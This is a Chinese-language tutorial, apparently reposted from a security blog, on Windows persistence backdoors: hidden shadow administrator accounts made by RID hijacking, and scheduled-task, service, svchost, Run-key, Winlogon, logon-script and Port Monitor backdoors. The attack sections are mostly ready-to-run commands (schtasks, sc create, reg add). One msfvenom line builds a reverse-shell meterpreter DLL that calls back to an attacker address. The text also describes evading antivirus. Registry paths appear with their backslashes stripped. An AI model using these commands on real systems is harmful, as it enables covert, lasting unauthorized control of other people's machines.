0x00 前言
在獲取到目標機器的權限后,如果想長時間的對目標進行控制,那么繞不開的一個操作就是權限持久化,為了實現這個目的,許許多多的后門技術應運而生。因此,本文對常見的系統后門技術進行了總結并對其利用方式進行了詳細的說明,希望可以對大家的學習提供一些幫助。
0x01 創建影子賬戶
影子賬戶其實就是隱藏賬戶,無論通過 “計算機管理” 還是命令行查詢都無法看到,只能在注冊表中找到其信息。
hacker 常常通過創建具有管理員權限的影子賬戶,在目標主機上實現權限維持
注意需要擁有管理員級別的權限
下面來實操如何創建影子賬戶:
① 在目標機創建一個名為 “Hack” 的賬戶
net user Hack$ 123Abc!@# /add # “$” 符號表示該用戶為隱藏賬戶,無法通過命令行查詢到,但是通過計算機管理的 “本地用戶和組” 可以看到隱藏用戶
此時,Hack$ 還是標準用戶,為了使其擁有管理員級別的權限,還需要修改注冊表。
② 在注冊表中找到 HKEY_LOCAL_MACHINESAMSAM,單擊右鍵,在彈出的菜單中選擇 “權限” 選項,將 Administrator 用戶的權限設置為 “完全控制”。
該注冊表項的內容在標準用戶和管理員權限下都是不可見的
③ 在注冊表項 HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames 處選擇 Administrator 用戶,在左側找到與右邊顯示的鍵值的類型 “0x1f4” 相同的目錄名。
復制 000001F4 表項的 F 屬性的值。
④ 在找到與隱藏賬戶 Hack$ 相應的目錄 “000003EB”,將復制的 000001F4 表項中的 F 屬性值粘貼到 000003EB 表項中的 F 屬性值處,并確認。
到此處,Hack$ 用戶劫持了 Administrator 用戶的 RID,從而使 Hack$ 用戶獲得 Administrator 用戶的權限。
⑤ 分別選中注冊表項 “Hack$” 和 “000003EB” 并導出,然后執行以下命令,刪除 Hack$ 用戶:
net user Hack$ /del
⑥ 將剛才導出的兩個注冊表項導入注冊表。
到此,影子賬戶 Hack$ 就創建好了。此時查看 “本地用戶和組” 也看不到該賬戶,只在注冊表中才能看到。
嘗試使用影子賬戶登錄遠程桌面
0x02 計劃任務后門
通過創建計劃任務,讓目標主機在特定的時間點或規定的周期內重復運行 hacker 預先準備的后門程序,從而實現權限持久化。
執行以下命令,在目標主機上創建一個名為 Backdoor 的計劃任務,每 60 秒以 SYSTEM 權限運行一次后門程序 shell.exe。
schtasks /Create /TN Backdoor /SC minute /MO 1 /TR C:WindowsSystem32shell.exe /RU System /F # /TN,指定要創建的計劃任務的名稱 # /SC,指定計劃任務執行頻率 # /MO,指定計劃任務執行周期 # /TR,指定計劃任務運行的程序路徑 # /RU,指定計劃任務運行的用戶權限 # /F,如果指定的任務已經存在,則強制創建
注意:如果以 SYSTEM 權限運行計劃任務,就需要擁有管理員級別的權限。
當計劃任務觸發后,目標主機就會上線
計算機上所有的計劃任務都存儲在了 “計算機管理” 中的 “計劃任務程序庫”。
可以看到,計劃任務在 “計劃任務程序庫” 中以類似文件目錄的形式存儲,所有計劃任務都存儲在最內層的目錄中。因此,為了增強隱蔽性,建議在創建計劃任務后門時遵守這個存儲規范。
執行以下命令,在 MicrosoftWindowsAppTask 路徑下創建一個名為 “AppRun” 的計劃任務后門。
schtasks /Create /TN MicrosoftWindowsAppTaskAppRun /SC daily /ST 08:00 /MO 1 /TR C:WindowsSystem32shell.exe /RU System /F
0x03 系統服務后門
對于啟動類型為 “自動” 的系統服務,hacker 可以將服務運行的二進制文件路徑設置為后門程序或其他攻擊載荷,當系統或服務重啟時,可以重新獲取對目標主機的控制權。但是,前提條件是已經獲取了目標主機的管理員權限。
1. 創建系統服務
執行以下命令,在目標主機上創建一個名為 Backdoor 的系統服務,啟動類型為 “自動”,啟動權限為SYSTEM:
sc create Backdoor binpath= "cmd.exe /k C:WindowsSystem32shell.exe" start= "auto" obj= "LocalSystem" # binpath,指定服務的二進制文件路徑,注意 “=” 后必須有一個空格 # start,指定啟動類型 # obj,指定服務運行的權限
系統或服務重啟時,將以 SYSTEM 權限運行后門程序 shell.exe,目標主機就會上線。
2. 利用現有的系統服務
通過修改現有服務的配置信息,使服務啟動時運行指定的后門程序。
hacker 可以通過 “sc config” 命令修改服務的 binpath 選項,也可以嘗試修改服務注冊表的 ImagePath 鍵,二者都直接指定了相應服務的啟動時運行的二進制文件。
① 執行以下命令,將該服務注冊表中的 ImagePath 鍵指向預先上傳的攻擊載荷。
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRegSvc /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:UsersPublicshell.exe" /f
② 系統或服務重啟時,將以 SYSTEM 權限運行后門程序 shell.exe,目標主機就會上線。
3. 利用 svchost.exe 啟動服務
svchost.exe 是 Windows 的系統文件,svchost.exe 是從動態鏈接庫(DLL)中運行的服務的通用主機進程名稱。該程序本身只是作為服務的宿主,許多系統服務通過注入該程序進程中啟動,所以系統中會存在多個該程序的進程。
在 Windows 系統中,需要由 svchost.exe 進程啟動的服務將以 DLL 形式實現。在安裝這些服務時,需要將服務的可執行文件路徑指向 svchost.exe。在啟動這些服務時,由 svchost.exe 調用相應服務的 DLL 文件,而具體調用哪個 DLL 是由該服務在注冊表的信息所決定的。
下面以 wuauserv 服務(Windows Update)為例進行講解:
在注冊表中定位到 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetserviceswuauserv。從 imagepath 鍵值可以得知,該服務啟動的可執行文件的路徑為 C:Windowssystem32svchost.exe -k netsvcs,說明該服務是依靠 svchost.exe 加載 DLL 文件來實現的。
wuauserv 服務的注冊表下還有一個 Parameters 子項,其中的 ServiceDll 鍵值表明該服務由哪個 DLL 文件負責。當服務啟動時,svchost.exe 就會加載 wuaueng.dll 文件,并執行其提供的具體服務。
注意:系統會根據服務可執行文件路徑中的參數對服務進行分組,如 C:Windowssystem32svchost.exe -k netsvcs 表明該服務屬于 netsvcs 這個服務組。通常,每個 svchost 進程負責運行一組服務。因此,并不是每啟動一個服務就會增加一個 svchost.exe 進程。
svchost.exe 的所有服務分組位于注冊表的 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost 中。通過 svchost.exe 加載啟動的服務都要在該表項中注冊。
實戰中,hacker 可以通過 svchost.exe 加載惡意服務,以此來建立持久化后門。由于惡意服務的 DLL 將加載到 svchost.exe 進程,惡意進程不是獨立運行的,因此具有很高的隱蔽性。
接下來進行實操:
① 使用 msf 生成一個負責提供惡意服務的 DLL 文件,然后將生成的 DLL 上傳到目標主機的 System32 目錄。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.132 lport=6666 -f dll > reverse_tcp.dll
② 創建名為 Backdoor 的服務,并以 svchost 加載的方式啟動,服務分組為 netsvc
sc create Backdoor binpath= "C:Windowssystem32svchost.exe -k netsvc" start= "auto" obj= "LocalSystem"
③ 將 Backdoor 服務啟動時加載的 DLL 設為 reverse_tcp.dll
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoorParameters /v ServiceDll /t REG_EXPAND_SZ /d "C:WindowsSystem32 everse_tcp.dll"
④ 配置服務描述
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoor /v Description /t REG_SZ /d "Windows Service"
⑤ 配置服務顯示名稱
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoor /v DisplayName /t REG_SZ /d "Backdoor"
⑥ 創建服務新分組 netsvc,并將 Backdoor 服務添加進去
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost" /v netsvc /t REG_MULTI_SZ /d Backdoor
⑦ 當系統重啟時,Svchost 以 SYSTEM 權限加載惡意服務,目標主機就會上線。
0x04 啟動項/注冊表鍵后門
hacker 可以通過將后門程序添加到系統啟動文件夾或通過注冊表運行鍵引用來進行權限持久化。添加的后門程序將在用戶登錄的上下文中啟動,并且將具有與賬戶相關聯的權限等級。
1. 系統啟動文件夾
將程序放置在啟動文件夾中會導致該程序在用戶登錄時執行。
Windows 系統有兩種常見的啟動文件夾:
# 位于以下目錄中的程序將在指定用戶登錄時啟動 C:Users[Username]AppDataRoamingMicrosoftWindowsStart C:Users[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup # 位于以下目錄中的程序將在所有用戶登錄時啟動 C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
嘗試將后門程序放入 hack 用戶的啟動文件夾
切換用戶登錄,成功上線
2. 運行鍵(Run Keys)
Windows 系統上有許多注冊表項可以用來設置在系統啟動或用戶登錄時運行指定的程序或加載指定 DLL 文件,hacker 可以對此類注冊表進行濫用,以建立持久化后門。
當用戶登錄時,系統會依次檢查位于注冊表運行鍵(Run Keys)中的程序,并在用戶登錄的上下文中啟動。Windows 系統默認創建以下運行鍵,如果修改 HKEY_LOCAL_MACHINE 下的運行鍵,需要擁有管理員級別的權限。
# 以下注冊表項中的程序將在當前用戶登錄時啟動 HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce # 以下注冊表中的程序將在所有用戶登錄時啟動 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionRunOnce
執行以下命令,在注冊表運行鍵中添加一個名為 “Backdoor” 的鍵,并將鍵值指向后門程序的絕對路徑。
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun" /v Backdoor /t REG_SZ /d "C:WindowsSystem32shell.exe"
當用戶重新登錄時,目標主機就會上線。
3. Winlogon Helper
Winlogon 是 Windows 系統的組件,用于處理與用戶有關的各種行為,如登錄、注銷、在登錄時加載用戶配置文件、鎖定屏幕等。這些行為由系統注冊表管理,注冊表中的一些鍵值定義了在 Windows 登錄期間會啟動哪些進程。
hacker 可以濫用此類注冊表鍵值,使 Winlogon 在用戶登錄時執行惡意程序,以此建立持久化后門。
常見的有以下兩個:
# 指定用戶登錄時執行的用戶初始化程序,默認為 userinit.exe HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonUserinit # 指定 Windows 身份驗證期間執行的程序,默認為 explorer.exe HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonshell
執行以下命令,在 Userinit 鍵值中添加一個后門程序。
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon" /v Userinit /d "C:Windowssystem32userinit.exe,shell.exe" /f
當用戶重新登錄時,目標主機就會上線。
注意:在濫用 Userinit 和 Shell 鍵時需要保留鍵值中的原有程序,將待啟動的后門程序添加到原有程序后面,并以 “,” 進行分隔。并且,后面程序需要被上傳至 C:Windowssystem32 目錄。
4. Logon Scripts
Logon Scripts是優先于很多殺毒軟件啟動的,所以可以通過這種方式繞過殺毒軟件敏感操作攔截。
執行以下命令,在 HKEY_CURRENT_USER/Enviroment 下新建字符串鍵值 UserInitMprLogonScript,鍵值設置為想要執行的程序或bat腳本的路徑:
reg add "HKEY_CURRENT_USEREnvironment" /v UserInitMprLogonScript /t REG_SZ /d "C:Windowssystem32shell.exe"
重啟系統或重新登陸賬戶,成功上線
0x05 Port Monitors后門
打印后臺處理服務(Print Spooler)負責管理 Windows 系統的打印作業。與該服務的交互是通過 Print Spooler API 執行的,其中包含 AddMonitor 函數,用于安裝 Port Monitors(本地端口監聽器),并連接配置、數據和監視器文件。AddMonitor 函數能夠將 DLL 注入 spoolsv.exe 進程,以實現相應功能,并且通過創建注冊表鍵,hacker 可以在目標系統上進行權限持久化。
注意:利用該技術需要擁有管理員級別的權限。
① 通過 msf 生成一個 64 位的惡意 DLL
② 將生成的 DLL 上傳到目標主機的 C:Windowssystem32 目錄中,執行一下命令,通過編輯注冊表安裝一個端口監視器。
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlPrintMonitorsTestMonitor" /v "Driver" /t REG_SZ /d "reverse_tcp.dll"
當系統重啟時,Print Spooler 服務在啟動過程中會讀取 Monitors 注冊表項的所有子健,并以 SYSTEM 權限加載 Driver 鍵值所指定的 DLL 文件。
0x06 總結
在本文的很多例子中,其實都會或多或少與一個東西有關,那就是注冊表。關于注冊表,我覺得值得花時間去仔細研究一番,一定會有很大的收獲。
關于系統后門技術其實還有許許多多,本文只是將常見的一些技術拿出來進行了分享,希望可以對大家的學習有幫助。如有不對,歡迎指正。
審核編輯:劉清
-
System
+關注
關注
0文章
165瀏覽量
36934 -
SAM
+關注
關注
0文章
112瀏覽量
33520 -
hacker
+關注
關注
0文章
4瀏覽量
1362
原文標題:常見系統后門技術總結與分析利用
文章出處:【微信號:菜鳥學安全,微信公眾號:菜鳥學安全】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論